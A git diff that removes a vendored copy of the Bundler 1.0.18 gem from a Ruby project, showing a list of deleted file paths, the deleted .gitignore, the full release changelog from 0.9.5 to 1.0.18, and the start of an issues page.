-lib/bundler/vendor/thor/parser.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/directory.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-config.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-install.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/templates/Executable	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/parser/argument.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/color.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/setup.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/invocation.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/html.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/util.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/remote_specification.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/index.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/gem_tasks.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-exec	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-benchmark.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/inject_into_file.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-update	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/parser/arguments.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-package	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/rubygems_integration.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-config	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vlad.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/graph.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/parser/options.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/core_ext/ordered_hash.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/task.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/dsl.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/shared_helpers.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/base.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/definition.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-package.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-exec.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/environment.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/lockfile_parser.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-install	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/empty_directory.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/spec_set.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/deployment.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/resolver.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/runtime.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/lazy_specification.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/core_ext/file_binary_read.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/basic.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/file_manipulation.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/source.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/dependency.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/version.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/cli.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/settings.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/capistrano.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/templates/Gemfile	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/ui.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/parser/option.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-update.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/error.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/gemfile.5.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/version.rb	Tue, 14 Jun 2011 09:52:48 -0500
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/.gitignore b/vendor/plugins/bundler/gems/bundler-1.0.18/.gitignore
deleted file mode 100644
index 13233a48..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/.gitignore
+++ /dev/null
@@ -1,22 +0,0 @@
-# system crap
-.DS_Store
-.*.swp
-
-# files created by running the specs
-tmp
-
-# built gems
-pkg
-*.gem
-
-# rubinius bytecode
-*.rbc
-
-# output from ronn
-lib/bundler/man
-
-# output from ci_reporter
-spec/reports
-
-# Netbeans
-nbproject
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/CHANGELOG.md b/vendor/plugins/bundler/gems/bundler-1.0.18/CHANGELOG.md
deleted file mode 100644
index d3af3c3e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/CHANGELOG.md
+++ /dev/null
@@ -1,754 +0,0 @@
-## 1.0.18 (Aug 16, 2011)
-
-Bugfixes:
-
-  - Fix typo in DEBUG_RESOLVER (@geemus)
-  - Fixes rake 0.9.x warning (@mtylty, #1333)
-
-Features:
-
-  - Run the bundle install earlier in a Capistrano deployment (@cgriego, #1300)
-  - Support hidden gemspec (@trans, @cldwalker, #827)
-  - Make fetch_specs faster (@zeha, #1294)
-  - Allow overriding development deps loaded by #gemspec (@lgierth, #1245)
-
-## 1.0.17 (Aug 8, 2011)
-
-Bugfixes:
-
-  - Fix rake issues with rubygems 1.3.x (#1342)
-  - Fixed invalid byte sequence error while installing gem on Ruby 1.9 (#1341)
-
-## 1.0.16 (Aug 8, 2011)
-
-Features:
-
-  - Performance fix for MRI 1.9 (@efficientcloud, #1288)
-  - Shortcuts (like `bundle i`) for all commands (@amatsuda)
-  - Correcly identify missing child dependency in error message
-
-Bugfixes:
-
-  - Allow Windows network share paths with forward slashes (@mtscout6, #1253)
-  - Check for rubygems.org credentials so `rake release` doesn't hang (#980)
-  - Find cached prerelease gems on rubygems 1.3.x (@dburt, #1202)
-  - Fix `bundle install --without` on kiji (@tmm1, #1287)
-  - Get rid of warning in ruby 1.9.3 (@smartinez87, #1231)
-
-Documentation:
-
-  - Documentation for `gem ..., :require => false` (@kmayer, #1292)
-  - Gems provide "executables", they are rarely also binaries (@fxn, #1242)
-
-## 1.0.15 (June 9, 2011)
-
-Features:
-
-  - Improved Rubygems integration, removed many deprecation notices
-
-Bugfixes:
-
-  - Escape URL arguments to git correctly on Windows (1.0.14 regression)
-
-## 1.0.14 (May 27, 2011)
-
-Features:
-
-  - Rubinius platform :rbx (@rkbodenner)
-  - Include gem rake tasks with "require 'bundler/gem_tasks" (@indirect)
-  - Include user name and email from git config in new gemspec (@ognevsky)
-
-Bugfixes:
-
-  - Set file permissions after checking out git repos (@tissak)
-  - Remove deprecated call to Gem::SourceIndex#all_gems (@mpj)
-  - Require the version file in new gemspecs (@rubiii)
-  - Allow relative paths from the Gemfile in gems with no gemspec (@mbirk)
-  - Install gems that contain 'bundler', e.g. guard-bundler (@hone)
-  - Display installed path correctly on Windows (@tadman)
-  - Escape quotes in git URIs (@mheffner)
-  - Improve Rake 0.9 support (@quix)
-  - Handle certain directories already existing (@raggi)
-  - Escape filenames containing regex characters (@indirect)
-
-## 1.0.13 (May 4, 2011)
-
-Features:
-
-  - Compatibility with Rubygems master (soon to be v1.8) (@evanphx)
-  - Informative error when --path points to a broken symlink
-  - Support Rake 0.9 and greater (@e2)
-  - Output full errors for non-TTYs e.g. pow (@josh)
-
-Bugfixes:
-
-  - Allow spaces in gem path names for gem tasks (@rslifka)
-  - Have cap run bundle install from release_path (@martinjagusch)
-  - Quote git refspec so zsh doesn't expand it (@goneflyin)
-
-## 1.0.12 (April 8, 2011)
-
-Features:
-
-  - Add --no-deployment option to `install` for disabling it on dev machines
-  - Better error message when git fails and cache is present (@parndt)
-  - Honor :bundle_cmd in cap `rake` command (@voidlock, @cgriego)
-
-Bugfixes:
-
-  - Compatibility with Rubygems 1.7 and Rails 2.3 and vendored gems (@evanphx)
-  - Fix changing gem order in lock (@gucki)
-  - Remove color escape sequences when displaying man pages (@bgreenlee)
-  - Fix creating GEM_HOME on both JRuby 1.5 and 1.6 (@nickseiger)
-  - Fix gems without a gemspec and directories in bin/ (@epall)
-  - Fix --no-prune option for `bundle install` (@cmeiklejohn)
-
-## 1.0.11 (April 1, 2011)
-
-Features:
-
-  - Compatibility with Rubygems 1.6 and 1.7
-  - Better error messages when a git command fails
-
-Bugfixes:
-
-  - Don't always update gemspec gems (@carllerche)
-  - Remove ivar warnings (@jackdempsey)
-  - Fix occasional git failures in zsh (@jonah-carbonfive)
-  - Consistent lock for gems with double deps like Cap (@akahn)
-
-## 1.0.10 (February 1, 2011)
-
-Bugfixes:
-
-  - Fix a regression loading YAML gemspecs from :git and :path gems
-  - Requires, namespaces, etc. to work with changes in Rubygems 1.5
-
-## 1.0.9 (January 19, 2011)
-
-Bugfixes:
-
-  - Fix a bug where Bundler.require could remove gems from the load
-    path. In Rails apps with a default application.rb, this removed
-    all gems in groups other than :default and Rails.env.
-
-## 1.0.8 (January 18, 2011)
-
-Features:
-
-  - Allow overriding gemspec() deps with :git deps
-  - Add --local option to `bundle update`
-  - Ignore Gemfile.lock in newly generated gems
-  - Use `less` as help pager instead of `more`
-  - Run `bundle exec rake` instead of `rake` in Capistrano tasks
-
-Bugfixes:
-
-  - Fix --no-cache option for `bundle install`
-  - Allow Vlad deploys to work without Capistrano gem installed
-  - Fix group arguments to `bundle console`
-  - Allow groups to be loaded even if other groups were loaded
-  - Evaluate gemspec() gemspecs in their directory not the cwd
-  - Count on Rake to chdir to the right place in GemHelper
-  - Change Pathnames to Strings for MacRuby
-  - Check git process exit status correctly
-  - Fix some warnings in 1.9.3-trunk (thanks tenderlove)
-
-## 1.0.7 (November 17, 2010)
-
-Bugfixes:
-
-  - Remove Bundler version from the lockfile because it broke
-    backwards compatibility with 1.0.0-1.0.5. Sorry. :(
-
-## 1.0.6 (November 16, 2010)
-
-Bugfixes:
-
-  - Fix regression in `update` that caused long/wrong results
-  - Allow git gems on other platforms while installing (#579)
-
-Features:
-
-  - Speed up `install` command using various optimizations
-  - Significantly increase performance of resolver
-  - Use upcoming Rubygems performance improvements (@tmm1)
-  - Warn if the lockfile was generated by a newer version
-  - Set generated gems' homepage to "", so Rubygems will warn
-
-## 1.0.5 (November 13, 2010)
-
-Bugfixes:
-
-  - Fix regression disabling all operations that employ sudo
-
-## 1.0.4 (November 12, 2010)
-
-Bugfixes:
-
-  - Expand relative :paths from Bundler.root (eg ./foogem)
-  - Allow git gems in --without groups while --frozen
-  - Allow gem :ref to be a symbol as well as a string
-  - Fix exception when Gemfile needs a newer Bundler version
-  - Explanation when the current Bundler version conflicts
-  - Explicit error message if Gemfile needs newer Bundler
-  - Ignore an empty string BUNDLE_GEMFILE
-  - Skeleton gemspec now works with older versions of git
-  - Fix shell quoting and ref fetching in GemHelper
-  - Disable colored output in --deployment
-  - Preserve line endings in lock file
-
-Features:
-
-  - Add support for 'mingw32' platform (aka RubyInstaller)
-  - Large speed increase when Gemfile.lock is already present
-  - Huge speed increase when many (100+) system gems are present
-  - Significant expansion of ISSUES, man pages, and docs site
-  - Remove Open3 from GemHelper (now it works on Windows™®©)
-  - Allow setting roles in built-in cap and vlad tasks
-
-## 1.0.3 (October 15, 2010)
-
-Bugfixes:
-
-  - Use bitwise or in #hash to reduce the chance of overflow
-  - `bundle update` now works with :git + :tag updates
-  - Record relative :path options in the Gemfile.lock
-  - :groups option on gem method in Gemfile now works
-  - Add #platform method and :platform option to Gemfile DSL
-  - --without now accepts a quoted, space-separated list
-  - Installing after --deployment with no lock is now possible
-  - Binstubs can now be symlinked
-  - Print warning if cache for --local install is missing gems
-  - Improve output when installing to a path
-  - The tests all pass! Yay!
-
-## 1.0.2 (October 2, 2010)
-
-Bugfix:
-
-  - Actually include the man pages in the gem, so help works
-
-## 1.0.1 (October 1, 2010)
-
-Features:
-
-  - Vlad deployment recipe, `require 'bundler/vlad'`
-  - Prettier bundle graphs
-  - Improved gem skeleton for `bundle gem`
-  - Prompt on file clashes when generating a gem
-  - Option to generate binary with gem skeleton
-  - Allow subclassing of GemHelper for custom tasks
-  - Chdir to gem directory during `bundle open`
-
-Bugfixes:
-
-  - Allow gemspec requirements with a list of versions
-  - Accept lockfiles with windows line endings
-  - Respect BUNDLE_WITHOUT env var
-  - Allow `gem "foo", :platform => :jruby`
-  - Specify loaded_from path in fake gemspec
-  - Flesh out gem_helper tasks, raise errors correctly
-  - Respect RBConfig::CONFIG['ruby_install_name'] in binstubs
-
-## 1.0.0 (August 29, 2010)
-
-Features:
-
-  - You can now define `:bundle_cmd` in the capistrano task
-
-Bugfixes:
-
-  - Various bugfixes to the built-in rake helpers
-  - Fix a bug where shortrefs weren't unique enough and were
-    therfore colliding
-  - Fix a small bug involving checking whether a local git
-    clone is up to date
-  - Correctly handle explicit '=' dependencies with gems
-    pinned to a git source
-  - Fix an issue with Windows-generated lockfiles by reading
-    and writing the lockfile in binary mode
-  - Fix an issue with shelling out to git in Windows by
-    using double quotes around paths
-  - Detect new Rubygems sources in the Gemfile and update
-    the lockfile
-
-## 1.0.0.rc.6 (August 23, 2010)
-
-Features:
-
-  - Much better documentation for most of the commands and Gemfile
-    format
-
-Bugfixes:
-
-  - Don't attempt to create directories if they already exist
-  - Fix the capistrano task so that it actually runs
-  - Update the Gemfile template to reference rubygems.org instead
-    of :gemcutter
-  - bundle exec should exit with a non zero exit code when the gem
-    binary does not exist or the file is not executable.
-  - Expand paths in Gemfile relative to the Gemfile and not the current
-    working directory.
-
-## 1.0.0.rc.5 (August 10, 2010)
-
-Features:
-
-  - Make the Capistrano task more concise.
-
-Bugfixes:
-
-  - Fix a regression with determining whether or not to use sudo
-  - Allow using the --gemfile flag with the --deployment flag
-
-## 1.0.0.rc.4 (August 9, 2010)
-
-Features:
-
-  - `bundle gem NAME` command to generate a new gem with Gemfile
-  - Bundle config file location can be specified by BUNDLE_APP_CONFIG
-  - Add --frozen to disable updating the Gemfile.lock at runtime
-    (default with --deployment)
-  - Basic Capistrano task now added as 'bundler/capistrano'
-
-Bugfixes:
-
-  - Multiple bundler process no longer share a tmp directory
-  - `bundle update GEM` always updates dependencies of GEM as well
-  - Deleting the cache directory no longer causes errors
-  - Moving the bundle after installation no longer causes git errors
-  - Bundle path is now correctly remembered on a read-only filesystem
-  - Gem binaries are installed to Gem.bindir, not #{Gem.dir}/bin
-  - Fetch gems from vendor/cache, even without --local
-  - Sort lockfile by platform as well as spec
-
-## 1.0.0.rc.3 (August 3, 2010)
-
-Features:
-
-  - Deprecate --production flag for --deployment, since the former
-    was causing confusion with the :production group
-  - Add --gemfile option to `bundle check`
-  - Reduce memory usage of `bundle install` by 2-4x
-  - Improve message from `bundle check` under various conditions
-  - Better error when a changed Gemfile conflicts with Gemfile.lock
-
-Bugfixes:
-
-  - Create bin/ directory if it is missing, then install binstubs
-  - Error nicely on the edge case of a pinned gem with no spec
-  - Do not require gems for other platforms
-  - Update git sources along with the gems they contain
-
-## 1.0.0.rc.2 (July 29, 2010)
-
-  - `bundle install path` was causing confusion, so we now print
-    a clarifying warning. The preferred way to install to a path
-    (which will not print the warning) is
-    `bundle install --path path/to/install`.
-  - `bundle install --system` installs to the default system
-    location ($BUNDLE_PATH or $GEM_HOME) even if you previously
-    used `bundle install --path`
-  - completely remove `--disable-shared-gems`. If you install to
-    system, you will not be isolated, while if you install to
-    another path, you will be isolated from gems installed to
-    the system. This was mostly an internal option whose naming
-    and semantics were extremely confusing.
-  - Add a `--production` option to `bundle install`:
-    - by default, installs to `vendor/bundle`. This can be
-      overridden with the `--path` option
-    - uses `--local` if `vendor/cache` is found. This will
-      guarantee that Bundler does not attempt to connect to
-      Rubygems and will use the gems cached in `vendor/cache`
-      instead
-    - Raises an exception if a Gemfile.lock is not found
-    - Raises an exception if you modify your Gemfile in development
-      but do not check in an updated Gemfile.lock
-  - Fixes a bug where switching a source from Rubygems to git
-    would always say "the git source is not checked out" when
-    running `bundle install`
-
-NOTE: We received several reports of "the git source has not
-been checked out. Please run bundle install". As far as we
-can tell, these problems have two possible causes:
-
-1. `bundle install ~/.bundle` in one user, but actually running
-   the application as another user. Never install gems to a
-   directory scoped to a user (`~` or `$HOME`) in deployment.
-2. A bug that happened when changing a gem to a git source.
-
-To mitigate several common causes of `(1)`, please use the
-new `--production` flag. This flag is simply a roll-up of
-the best practices we have been encouraging people to use
-for deployment.
-
-If you want to share gems across deployments, and you use
-Capistrano, symlink release_path/current/vendor/bundle to
-release_path/shared/bundle. This will keep deployments
-snappy while maintaining the benefits of clean, deploy-time
-isolation.
-
-## 1.0.0.rc.1 (July 26, 2010)
-
-  - Fixed a bug with `bundle install` on multiple machines and git
-
-## 1.0.0.beta.10 (July 25, 2010)
-
-  - Last release before 1.0.0.rc.1
-  - Added :mri as a valid platform (platforms :mri { gem "ruby-debug" })
-  - Fix `bundle install` immediately after modifying the :submodule option
-  - Don't write to Gemfile.lock if nothing has changed, fixing situations
-    where bundle install was run with a different user than the app
-    itself
-  - Fix a bug where other platforms were being wiped on `bundle update`
-  - Don't ask for root password on `bundle install` if not needed
-  - Avoid setting `$GEM_HOME` where not needed
-  - First solid pass of `bundle config`
-  - Add build options
-    - `bundle config build.mysql --with-mysql-config=/path/to/config`
-
-## 1.0.0.beta.9 (July 21, 2010)
-
-  - Fix install failure when switching from a path to git source
-  - Fix `bundle exec bundle *` in a bundle with --disable-shared-gems
-  - Fix `bundle *` from inside a bundle with --disable-shared-gem
-  - Shim Gem.refresh. This is used by Unicorn
-  - Fix install failure when a path's dependencies changed
-
-## 1.0.0.beta.8 (July 20, 2010)
-
-  - Fix a Beta 7 bug involving Ruby 1.9
-
-## 1.0.0.beta.7 (July 20, 2010, yanked)
-
-  - Running `bundle install` twice in a row with a git source always crashed
-
-## 1.0.0.beta.6 (July 20, 2010, yanked)
-
-  - Create executables with bundle install --binstubs
-  - You can customize the location (default is app/bin) with --binstubs other/location
-  - Fix a bug where the Gemfile.lock would be deleted even if the update was exited
-  - Fix a bug where cached gems for other platforms were sometimes deleted
-  - Clean up output when nothing was deleted from cache (it previously said
-    "Removing outdated gems ...")
-  - Improve performance of bundle install if the git gem was already checked out,
-    and the revision being used already exists locally
-  - Fix bundle show bundler in some cases
-  - Fix bugs with bundle update
-  - Don't ever run git commands at runtime (fixes a number of common passenger issues)
-  - Fixes an obscure bug where switching the source of a gem could fail to correctly
-    change the source of its dependencies
-  - Support multiple version dependencies in the Gemfile
-    (gem "rails", ">= 3.0.0.beta1", "<= 3.0.0")
-  - Raise an exception for ambiguous uses of multiple declarations of the same gem
-    (for instance, with different versions or sources).
-  - Fix cases where the same dependency appeared several times in the Gemfile.lock
-  - Fix a bug where require errors were being swallowed during Bundler.require
-
-## 1.0.0.beta.1
-
-  - No `bundle lock` command. Locking happens automatically on install or update
-  - No .bundle/environment.rb. Require 'bundler/setup' instead.
-  - $BUNDLE_HOME defaults to $GEM_HOME instead of ~/.bundle
-  - Remove lockfiles generated by 0.9
-
-## 0.9.26
-
-Features:
-
-  - error nicely on incompatible 0.10 lockfiles
-
-## 0.9.25 (May 3, 2010)
-
-Bugfixes:
-
-  - explicitly coerce Pathname objects to Strings for Ruby 1.9
-  - fix some newline weirdness in output from install command
-
-## 0.9.24 (April 22, 2010)
-
-Features:
-
-  - fetch submodules for git sources
-  - limit the bundled version of bundler to the same as the one installing
-  - force relative paths in git gemspecs to avoid raising Gem::NameTooLong
-  - serialize GemCache sources correctly, so locking works
-  - raise Bundler::GemNotFound instead of calling exit! inside library code
-  - Rubygems 1.3.5 compatibility for the adventurous, not supported by me :)
-
-Bugfixes:
-
-  - don't try to regenerate environment.rb if it is read-only
-  - prune outdated gems with the platform "ruby"
-  - prune cache without errors when there are directories or non-gem files
-  - don't re-write environment.rb if running after it has been loaded
-  - do not monkeypatch Specification#load_paths twice when inside a bundle
-
-## 0.9.23 (April 20, 2010)
-
-Bugfixes:
-
-  - cache command no longer prunes gems created by an older rubygems version
-  - cache command no longer prunes gems that are for other platforms
-
-## 0.9.22 (April 20, 2010)
-
-Features:
-
-  - cache command now prunes stale .gem files from vendor/cache
-  - init --gemspec command now generates development dependencies
-  - handle Polyglot's changes to Kernel#require with Bundler::ENV_LOADED (#287)
-  - remove .gem files generated after installing a gem from a :path (#286)
-  - improve install/lock messaging (#284)
-
-Bugfixes:
-
-  - ignore cached gems that are for another platform (#288)
-  - install Windows gems that have no architecture set, like rcov (#277)
-  - exec command while locked now includes the bundler lib in $LOAD_PATH (#293)
-  - fix the `rake install` task
-  - add GemspecError so it can be raised without (further) error (#292)
-  - create a parent directory before cloning for git 1.5 compatibility (#285)
-
-## 0.9.21 (April 16, 2010)
-
-Bugfixes:
-
-  - don't raise 'omg wtf' when lockfile is outdated
-
-## 0.9.20 (April 15, 2010)
-
-Features:
-
-  - load YAML format gemspecs
-  - no backtraces when calling Bundler.setup if gems are missing
-  - no backtraces when trying to exec a file without the executable bit
-
-Bugfixes:
-
-  - fix infinite recursion in Bundler.setup after loading a bundled Bundler gem
-  - request install instead of lock when env.rb is out of sync with Gemfile.lock
-
-## 0.9.19 (April 12, 2010)
-
-Features:
-
-  - suggest `bundle install --relock` when the Gemfile has changed (#272)
-  - source support for Rubygems servers without prerelease gem indexes (#262)
-
-Bugfixes:
-
-  - don't set up all groups every time Bundler.setup is called while locked (#263)
-  - fix #full_gem_path for git gems while locked (#268)
-  - eval gemspecs at the top level, not inside the Bundler class (#269)
-
-
-## 0.9.18 (April 8, 2010)
-
-Features:
-
-  - console command that runs irb with bundle (and optional group) already loaded
-
-Bugfixes:
-
-  - Bundler.setup now fully disables system gems, even when unlocked (#266, #246)
-    - fixes Yard, which found plugins in Gem.source_index that it could not load
-    - makes behaviour of `Bundler.require` consistent between locked and unlocked loads
-
-## 0.9.17 (April 7, 2010)
-
-Features:
-
-  - Bundler.require now calls Bundler.setup automatically
-  - Gem::Specification#add_bundler_dependencies added for gemspecs
-
-Bugfixes:
-
-  - Gem paths are not longer duplicated while loading bundler
-  - exec no longer duplicates RUBYOPT if it is already set correctly
-
-## 0.9.16 (April 3, 2010)
-
-Features:
-
-  - exit gracefully on INT signal
-  - resolver output now indicates whether remote sources were checked
-  - print error instead of backtrace when exec cannot find a binary (#241)
-
-Bugfixes:
-
-  - show, check, and open commands work again while locked (oops)
-  - show command for git gems
-    - outputs branch names other than master
-    - gets the correct sha from the checkout
-    - doesn't print sha twice if :ref is set
-  - report errors from bundler/setup.rb without backtraces (#243)
-  - fix Gem::Spec#git_version to not error on unloaded specs
-  - improve deprecation, Gemfile, and command error messages (#242)
-
-## 0.9.15 (April 1, 2010)
-
-Features:
-
-  - use the env_file if possible instead of doing a runtime resolve
-     - huge speedup when calling Bundler.setup while locked
-     - ensures bundle exec is fast while locked
-     - regenerates env_file if it was generated by an older version
-  - update cached/packed gems when you update gems via bundle install
-
-Bugfixes:
-
-  - prep for Rubygems 1.3.7 changes
-  - install command now pulls git branches correctly (#211)
-  - raise errors on invalid options in the Gemfile
-
-## 0.9.14 (March 30, 2010)
-
-Features:
-
-  - install command output vastly improved
-    - installation message now accurate, with 'using' and 'installing'
-    - bundler gems no longer listed as 'system gems'
-  - show command output now includes sha and branch name for git gems
-  - init command now takes --gemspec option for bootstrapping gem Gemfiles
-  - Bundler.with_clean_env for shelling out to ruby scripts
-  - show command now aliased as 'list'
-  - VISUAL env var respected for GUI editors
-
-Bugfixes:
-
-  - exec command now finds binaries from gems with no gemspec
-  - note source of Gemfile resolver errors
-  - don't blow up if git urls are changed
-
-## 0.9.13 (March 23, 2010)
-
-Bugfixes:
-
-  - exec command now finds binaries from gems installed via :path
-  - gem dependencies are pulled in even if their type is nil
-  - paths with spaces have double-quotes to work on Windows
-  - set GEM_PATH in environment.rb so generators work with Rails 2
-
-## 0.9.12 (March 17, 2010)
-
-  - refactoring, internal cleanup, more solid specs
-
-Features:
-
-  - check command takes a --without option
-  - check command exits 1 if the check fails
-
-Bugfixes:
-
-  - perform a topological sort on resolved gems (#191)
-  - gems from git work even when paths or repos have spaces (#196)
-  - Specification#loaded_from returns a String, like Gem::Specification (#197)
-  - specs eval from inside the gem directory, even when locked
-  - virtual gemspecs are now saved in environment.rb for use when loading
-  - unify the Installer's local index and the runtime index (#204)
-
-## 0.9.11 (March 9, 2010)
-
-  - added roadmap with future development plans
-
-Features:
-
-  - install command can take the path to the gemfile with --gemfile (#125)
-  - unknown command line options are now rejected (#163)
-  - exec command hugely sped up while locked (#177)
-  - show command prints the install path if you pass it a gem name (#148)
-  - open command edits an installed gem with $EDITOR (#148)
-  - Gemfile allows assigning an array of groups to a gem (#114)
-  - Gemfile allows :tag option on :git sources
-  - improve backtraces when a gemspec is invalid
-  - improve performance by installing gems from the cache if present
-
-Bugfixes:
-
-  - normalize parameters to Bundler.require (#153)
-  - check now checks installed gems rather than cached gems (#162)
-  - don't update the gem index when installing after locking (#169)
-  - bundle parenthesises arguments for 1.8.6 (#179)
-  - gems can now be assigned to multiple groups without problems (#135)
-  - fix the warning when building extensions for a gem from git with Rubygems 1.3.6
-  - fix a Dependency.to_yaml error due to accidentally including sources and groups
-  - don't reinstall packed gems
-  - fix gems with git sources that are private repositories
-
-## 0.9.10 (March 1, 2010)
-
-  - depends on Rubygems 1.3.6
-
-Bugfixes:
-
-  - support locking after install --without
-  - don't reinstall gems from the cache if they're already in the bundle
-  - fixes for Ruby 1.8.7 and 1.9
-
-## 0.9.9 (February 25, 2010)
-
-Bugfixes:
-
-  - don't die if GEM_HOME is an empty string
-  - fixes for Ruby 1.8.6 and 1.9
-
-## 0.9.8 (February 23, 2010)
-
-Features:
-
-  - pack command which both caches and locks
-  - descriptive error if a cached gem is missing
-  - remember the --without option after installing
-  - expand paths given in the Gemfile via the :path option
-  - add block syntax to the git and group options in the Gemfile
-  - support gems with extensions that don't admit they depend on rake
-  - generate gems using gem build gemspec so git gems can have native extensions
-  - print a useful warning if building a gem fails
-  - allow manual configuration via BUNDLE_PATH
-
-Bugfixes:
-
-  - eval gemspecs in the gem directory so relative paths work
-  - make default spec for git sources valid
-  - don't reinstall gems that are already packed
-
-## 0.9.7 (February 17, 2010)
-
-Bugfixes:
-
-  - don't say that a gem from an excluded group is "installing"
-  - improve crippling rubygems in locked scenarios
-
-## 0.9.6 (February 16, 2010)
-
-Features:
-
-  - allow String group names
-  - a number of improvements in the documentation and error messages
-
-Bugfixes:
-
-  - set SourceIndex#spec_dirs to solve a problem involving Rails 2.3 in unlocked mode
-  - ensure Rubygems is fully loaded in Ruby 1.9 before patching it
-  - fix `bundle install` for a locked app without a .bundle directory
-  - require gems in the order that the resolver determines
-  - make the tests platform agnostic so we can confirm that they're green on JRuby
-  - fixes for Ruby 1.9
-
-## 0.9.5 (Feburary 12, 2010)
-
-Features:
-
-  - added support for :path => "relative/path"
-  - added support for older versions of git
-  - added `bundle install --disable-shared-gems`
-  - Bundler.require fails silently if a library does not have a file on the load path with its name
-  - Basic support for multiple rubies by namespacing the default bundle path using the version and engine
-
-Bugfixes:
-
-  - if the bundle is locked and .bundle/environment.rb is not present when Bundler.setup is called, generate it
-  - same if it's not present with `bundle check`
-  - same if it's not present with `bundle install`
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/ISSUES.md b/vendor/plugins/bundler/gems/bundler-1.0.18/ISSUES.md
deleted file mode 100644
index b60b42b6..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/ISSUES.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Bundler Issues
-
-## Frequently encountered issues
-
-### REE and Zlib::GzipFile::Error
-
-Ruby Enterprise Edition users may see a `Zlib::GzipFile::Error` while installing gems. It is due to [a bug in REE](http://code.google.com/p/rubyenterpriseedition/issues/detail?id=45). You may be able to resolve the issue by upgrading REE, or changing to a different interpreter.
-
-### Rake activation error
-
-Anyone who has installed the Spork gem may see activation errors while running `rake` directly. This is because old versions of Spork would [install the newest rake using a mkmf file](https://github.com/timcharper/spork/issues/119). To resolve the issue, update the Spork version requirement in your Gemfile to at least `"~>0.8.5"` or `"~>0.9.0.rc8"`.
-
-## Troubleshooting
-
